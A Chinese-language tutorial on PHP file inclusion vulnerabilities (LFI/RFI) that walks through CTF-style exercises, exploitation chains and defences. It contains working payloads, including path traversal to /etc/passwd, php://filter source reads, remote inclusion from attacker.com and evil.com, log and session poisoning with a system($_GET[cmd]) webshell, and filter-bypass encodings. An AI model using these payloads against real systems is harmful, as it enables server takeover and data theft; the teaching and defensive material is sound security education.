文件包含漏洞实战:从LFI/RFI原理到高级利用与防御

发布时间:2026/6/24 18:55:38
文件包含漏洞实战:从LFI/RFI原理到高级利用与防御 1. 项目概述从“习题”到“实战”的思维跃迁看到“文件包含漏洞--相关习题”这个标题很多安全初学者可能会直接联想到CTFCapture The Flag比赛或者一些在线靶场里的解题过程。没错习题是学习文件包含漏洞最直接的敲门砖它能帮你快速理解漏洞的原理、触发条件和基础的利用手法。但作为一名在渗透测试和代码审计一线摸爬滚打多年的从业者我想告诉你的是仅仅会做习题是远远不够的。真正的价值在于如何将这些离散的“知识点”串联起来构建一套面对真实、复杂、多变环境时的“实战思维模型”。文件包含漏洞无论是本地文件包含LFI还是远程文件包含RFI其核心本质都是应用程序在引入外部文件时对用户输入的控制不严导致攻击者能够操纵文件路径读取敏感文件、执行恶意代码甚至最终获取服务器权限。这个漏洞历史悠久但生命力顽强时至今日依然在各类Web应用尤其是遗留系统和定制化开发的应用中频繁出现。学习它绝不只是为了解出几道题而是为了培养一种“输入点追踪”和“上下文逃逸”的安全审计本能。这篇笔记我将带你超越“习题”的范畴。我们会从最经典的习题场景出发但重点会放在拆解这些习题背后所模拟的真实漏洞场景、攻击链路的构建、在不同防御机制下的绕过技巧以及最重要的——如何将这种攻击者思维逆向应用于你的代码审计和防御体系建设中。无论你是刚入门的安全爱好者还是希望巩固基础的开发人员相信这套从“题面”到“题眼”再到“实战映射”的深度解析能让你对文件包含漏洞有一个脱胎换骨的理解。2. 核心漏洞原理与利用场景深度拆解在动手解任何一道题之前我们必须把地基打牢。文件包含漏洞的原理听起来简单但魔鬼藏在细节里不同的服务端配置和编程语言特性会衍生出千变万化的利用姿势。2.1 漏洞产生的根本原因与语言特性差异几乎所有支持文件包含功能的编程语言都可能存在此漏洞比如PHP的include、requireJSP的% include file... %以及一些模板引擎的包含指令。漏洞产生的根本原因可以归结为一个公式不可信的用户输入 未经验证/过滤的包含函数 文件包含漏洞。以最常见的PHP为例一段典型的漏洞代码如下?php $page $_GET[page]; // 直接接收用户输入 include($page . .php); // 未经任何处理直接拼接后包含 ?攻击者通过?page../../../etc/passwd这样的参数就可以尝试穿越目录读取系统敏感文件。这里的关键在于开发者天真地认为用户只会输入像 “home”, “about” 这样的文件名并自信地加上了.php后缀。这种“信任”就是安全问题的万恶之源。不同语言在包含行为上存在细微差别直接影响利用方式PHP功能最“强大”也最危险。除了包含本地文件如果allow_url_include配置为On还可以通过http://、ftp://等协议包含远程服务器上的文件直接导致远程代码执行RCE。这是RFI的典型场景。JSP/Servlet通常通过% include file... %或jsp:include实现。前者是静态包含在编译时处理后者是动态包含在运行时处理。利用时更侧重于路径遍历读取敏感文件或结合上传漏洞实现代码执行。Python (Flask/Django)本身没有类似PHP的“包含”函数但开发者可能错误地使用open()读取用户指定的模板文件并结合render_template_string等造成服务端模板注入SSTI这与文件包含在思路上有相通之处都是控制了“加载内容”的源头。理解这些差异你就能明白为什么PHP的习题里经常出现RFI而JSP的习题则更偏向于LFI与上传的结合。2.2 经典利用场景与攻击链构建习题往往是对真实漏洞场景的高度抽象。我们来看几个核心场景并思考如何将其扩展为完整的攻击链场景一基础目录遍历与敏感信息泄露这是最常见的LFI习题。目标是通过../目录遍历读取系统文件如/etc/passwdLinux用户信息、/proc/self/environ环境变量、C:\Windows\System32\drivers\etc\hostsWindows主机文件等。习题思维找到包含点尝试../../../../etc/passwd看到内容即成功。实战思维延伸信息收集成功读取/etc/passwd后可以获取系统用户名列表为后续爆破SSH等服务做准备。读取Web配置尝试包含../config/database.php、../.env、wp-config.php等直接获取数据库密码实现权限升级。读取日志文件这是LFI通向RCE的关键跳板。查找Web服务器的访问日志、错误日志路径如/var/log/apache2/access.log。将PHP代码作为User-Agent或请求参数的一部分发送然后通过LFI包含这个日志文件代码就会被执行。场景二封装协议与过滤器绕过当简单的../被过滤时习题会引入PHP的封装协议Wrapper。php://filter协议这是必考知识点。用于读取文件源码特别是当包含点会自动添加后缀或文件被解析执行时。例如?pagephp://filter/readconvert.base64-encode/resourceindex。这里resourceindex指定目标文件convert.base64-encode过滤器将文件内容以Base64编码输出避免了PHP代码被直接执行从而让我们能看到index.php的源代码从中寻找其他漏洞如数据库连接信息、其他敏感参数。zip://、phar://协议用于包含ZIP或PHAR压缩包中的文件。这常与文件上传漏洞结合。攻击者上传一个内含恶意脚本的ZIP文件然后通过?pagezip://path/to/upload.zip%23shell.php%23是#的URL编码来执行压缩包内的shell.php。data://协议在allow_url_include开启时可以直接在URL中嵌入代码并执行如?pagedata://text/plain,?php phpinfo();?。这是非常直接的代码执行方式。场景三远程文件包含与代码执行真正的RFI场景在习题中往往有条件限制配置开启但其思路至关重要。直接远程包含?pagehttp://attacker.com/shell.txt。攻击者在自己的服务器上放置一个纯文本的PHP代码文件受害服务器包含并执行它。实战中的限制与绕过后缀限制如果代码强制添加.php可以尝试?pagehttp://attacker.com/shell.txt?。问号?会被解释为URL的查询参数从而截断后缀使得http://attacker.com/shell.txt?被完整请求而.php被当作本地不存在的文件部分忽略取决于服务器解析方式。协议黑名单如果过滤了http://可以尝试HTTPS://、ftp://甚至\\smb\share\shell.txtWindows UNC路径等其他协议。注意在真实渗透测试中RFI的利用成功率正在降低因为现代PHP版本默认关闭allow_url_include且云环境和安全策略普遍限制外联。因此LFI结合日志、会话、上传等“本地”资源进行利用是目前更主流、更可靠的思路。3. 习题精讲从解题技巧到防御视角现在让我们带入几道典型的习题不仅讲解“怎么做”更要剖析“为什么能这么做”以及“如何防御”。3.1 例题一基础LFI与路径遍历题目描述一个简单的PHP页面URL参数为file代码疑似include($_GET[file] . .inc);。目标是读取/etc/passwd。解题步骤判断与试探尝试?file../../../../etc/passwd。如果返回了文件内容说明存在漏洞且无目录深度限制。绕过后缀题目代码拼接了.inc。我们需要让最终包含的路径是/etc/passwd而不是/etc/passwd.inc。这里利用的是文件系统的一个特性目录遍历符号../可以放在任何位置。所以 payload 为?file../../../../etc/passwd%00。%00是空字符的URL编码在旧版本PHP中PHP 5.3.4空字符会截断字符串使得.inc被忽略。这就是著名的“空字节截断”漏洞。现代绕过空字节截断在现代PHP中已修复。更通用的方法是利用PHP封装协议。但本题限制了后缀.incphp://filter读取/etc/passwd后内容会被当作PHP执行可能显示乱码或错误。此时可以尝试路径遍历与协议组合?filephp://filter/readconvert.base64-encode/resource../../../../etc/passwd。这样我们读取的是/etc/passwd的Base64编码完全绕过了.inc后缀因为resource参数指向的是目标文件包含函数实际处理的是php://filter...这个流后缀附加在这个流后面形同虚设。防御视角固定白名单不要用用户输入直接拼接。使用一个数组定义允许包含的文件名如$allowed [home, about, contact]; if (in_array($_GET[page], $allowed)) { include($_GET[page]..php); }。严格路径控制使用basename()函数获取路径中的文件名部分去除任何目录遍历字符。但注意basename()在处理多字节字符时可能有问题。彻底禁用危险功能如非必要关闭allow_url_fopen和allow_url_include。3.2 例题二LFI转RCE——日志文件注入题目描述存在LFI漏洞但无法直接RFI。发现网站使用Apache服务器。目标是获取Webshell。攻击链构建确认日志路径通过LFI尝试常见日志路径如/var/log/apache2/access.log、/var/log/httpd/access_log、/proc/self/fd/xxxx是文件描述符可能需要爆破。成功读取到日志内容。污染日志向网站发送一个请求在User-Agent或GET/POST参数中携带PHP代码。例如使用curlcurl -A ?php system(\$_GET[cmd]);? http://target.com/。或者直接访问http://target.com/?a?php phpinfo();?。包含执行通过LFI漏洞包含这个已经被污染的日志文件?file../../../var/log/apache2/access.log。此时日志文件中的PHP代码会被服务器解析执行。执行命令如果注入的是system($_GET[cmd])那么可以通过?file../../../var/log/apache2/access.logcmdid来执行系统命令输出结果会混杂在日志内容中显示出来。实操难点与技巧日志文件过大大日志文件可能导致包含超时或内存耗尽。可以尝试在污染后立即进行包含或者寻找错误日志error.log通常体积更小。代码被转义或截断Web服务器或应用可能会对请求参数进行URL编码、过滤特殊字符。需要测试哪种输入方式能原样存入日志。User-Agent字段通常是最佳选择因为它受过滤较少。找不到日志路径可以尝试利用/proc/self/environ。这个文件包含了当前进程的环境变量其中HTTP_USER_AGENT等字段就是我们的请求头。我们可以污染自己的User-Agent然后包含/proc/self/environ来执行代码。这种方法更直接不依赖磁盘上的日志文件。防御视角将日志目录移至Web根目录之外确保无法通过Web路径访问。对日志内容进行严格的字符过滤虽然可能影响日志可读性。最根本的还是修复LFI漏洞本身。3.3 例题三利用PHP Session文件题目描述目标网站使用PHP Session且Session文件保存在默认位置如/tmp、/var/lib/php/sessions。存在LFI但无法读取日志。目标是RCE。攻击思路原理PHP Session数据通常保存在服务器的一个文件中如sess_[sessionid]文件内容包含序列化的Session变量。如果我们可以控制一部分Session数据并将其设置为PHP代码再通过LFI包含这个Session文件就能执行代码。条件需要知道Session文件的存储路径和文件名。路径通常是默认的或通过phpinfo()获取。文件名是sess_加上我们的Session ID。步骤获取自己的Session ID来自CookiePHPSESSID。向服务器提交一个表单设置一个Session变量其值为PHP代码。例如一个表单字段名可以是?php phpinfo();?但需要服务器能正确接收并存入Session这取决于应用逻辑。更常见的是寻找一个能将用户输入存入$_SESSION的功能点比如“个性签名”、“昵称”等。通过LFI包含自己的Session文件?file../../../tmp/sess_[你的sessionid]。技巧如果应用对存入Session的数据做了过滤可以尝试序列化字符串注入。例如原始Session文件内容可能是user|s:5:admin;。如果我们能注入;phpinfo();//最终内容可能变成user|s:16:admin;phpinfo();//;破坏原有结构并注入代码。这需要对PHP序列化格式有精确理解。使用phpinfo()页面是获取绝对路径、Session存储路径等关键信息的“神器”应优先寻找。防御视角修改Session文件的保存路径到非默认、不可预测的位置。对存入Session的所有用户数据进行严格的过滤和验证。使用session.save_handler将会话数据存储到数据库或内存缓存中。4. 高级绕过技巧与组合利用实战当面对更复杂的过滤机制时我们需要像玩解谜游戏一样组合各种技巧。4.1 过滤绕过策略库过滤条件可能的绕过方式原理与示例过滤../使用绝对路径、编码、双重编码/etc/passwd(绝对路径)..%2f..%2f(URL编码)%252e%252e%252f(双重URL编码WAF可能只解码一次)过滤http://使用其他协议、大小写混淆、URL编码https://HtTp://%68%74%74%70%3a%2f%2f(全编码)强制添加后缀.php使用?、#截断或利用zip://、phar://?pagehttp://evil.com/shell.txt??pagezip://shell.zip%23code(#在URL中需编码为%23)检查文件是否存在使用PHP封装协议php://input(读取POST数据执行)php://filter本身不需要文件存在限制包含目录利用php://filter的resource参数进行路径遍历php://filter/readconvert.base64-encode/resource../../../config.php4.2 组合技实例LFI 文件上传 Getshell这是实战中最有效的组合之一。找到一个文件上传点允许上传图片等文件。上传一个包含PHP代码的图片文件如shell.jpg内容为?php system($_GET[c]);?。现代应用通常会进行图片重渲染、内容检查可能失败。可以尝试在图片元数据如Exif中插入代码或使用图片马在合法图片末尾追加PHP代码。关键获取上传文件的绝对路径。这通常比较困难。可以通过报错信息、phpinfo()、读取应用配置文件、或者利用上传功能返回的访问URL进行猜测如/uploads/2024/05/shell.jpg。通过LFI漏洞包含这个上传的文件。如果上传的文件被重命名需要知道最终名称。包含时服务器会根据文件扩展名如.jpg决定是否解析PHP。如果服务器配置了AddType application/x-httpd-php .jpg .png危险配置那么.jpg也会被解析直接执行代码。如果没有可以尝试结合php://filter来读取上传文件的内容但无法执行。更高级的利用如果上传时检查文件内容头如GIF89a可以制作一个合法的GIF文件开头是GIF头后面是PHP代码。然后利用include()包含它PHP引擎会执行其中的?php ... ?部分忽略前面的二进制数据。5. 防御体系构建与代码审计心得攻击是为了更好的防御。理解了攻击者的所有手段我们就能在代码层面筑起更坚固的防线。5.1 安全开发规范绝对禁止动态包含这是最高原则。如果业务必须动态加载模块请使用以下方法白名单机制维护一个允许包含的文件名数组用户输入只作为索引键而不是直接部分路径。$allowed_pages [home ./pages/home.php, about ./pages/about.php]; $page $_GET[page]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(./pages/error.php); }映射机制使用一个安全的函数将输入映射到固定的文件路径避免任何路径遍历。设置PHP安全配置allow_url_include Offallow_url_fopen Offopen_basedir将PHP可操作的文件限制在特定目录树内。disable_functions禁用危险的函数如system、exec、shell_exec、passthru等。安全处理用户输入对所有用户输入进行严格的验证和过滤。对于文件路径使用realpath()函数获取规范化的绝对路径然后检查这个路径是否在以Web根目录为起点的允许范围内。使用basename()去除路径中的目录部分但要注意其局限性。5.2 代码审计中如何寻找文件包含漏洞全局搜索包含函数在PHP项目中搜索include、require、include_once、require_once。在JSP中搜索include指令或动作。追踪输入变量检查这些函数的参数是否是变量并逆向追踪这些变量的来源是否最终来源于$_GET、$_POST、$_COOKIE、$_REQUEST等用户可控的输入。分析过滤逻辑如果发现了用户输入传入包含函数仔细分析代码中是否存在过滤。常见的错误过滤包括只替换一次../可用....//绕过。黑名单过滤总有漏网之鱼。使用str_replace等函数但未递归处理或未考虑大小写、编码。关注模板引擎许多现代框架使用模板引擎如Twig、Smarty。这些引擎本身通常很安全但开发者可能误用或者存在旧版本漏洞。审计时需关注模板文件的加载方式。5.3 我踩过的坑与心得不要忽视“不起眼”的参数曾经审计一个系统漏洞出现在一个名为lang的参数上用于包含语言包文件。所有人都盯着page、file这些明显参数而这个lang参数几乎被忽略。二次解码是陷阱有些WAF或自定义过滤会对输入进行一次URL解码后再检查。这时双重编码如%252e解码一次变%2e再解码一次变.是有效的绕过手段。在测试时养成对特殊字符进行单次和双重编码测试的习惯。上下文很重要在包含点前或后代码是否进行了base64_decode、urldecode等操作这可能会完全改变我们的payload构造方式。例如如果代码先urldecode再包含那么我们的payload就需要用编码形式。自动化工具是辅助不是上帝像Burp Suite的Scanner、某些LFI检测插件能快速发现基础漏洞但对于复杂的过滤、编码和组合利用它们往往无能为力。真正的深度发现依赖于手动审计和基于理解的测试。文件包含漏洞的学习是一个从“知其然”到“知其所以然”再到“知其何以不然”如何防御的过程。习题是路标指引你方向而真正的能力是在离开路标后于错综复杂的真实网络环境中自己开辟道路的本事。希望这篇笔记能成为你手中那把更锋利的开山刀。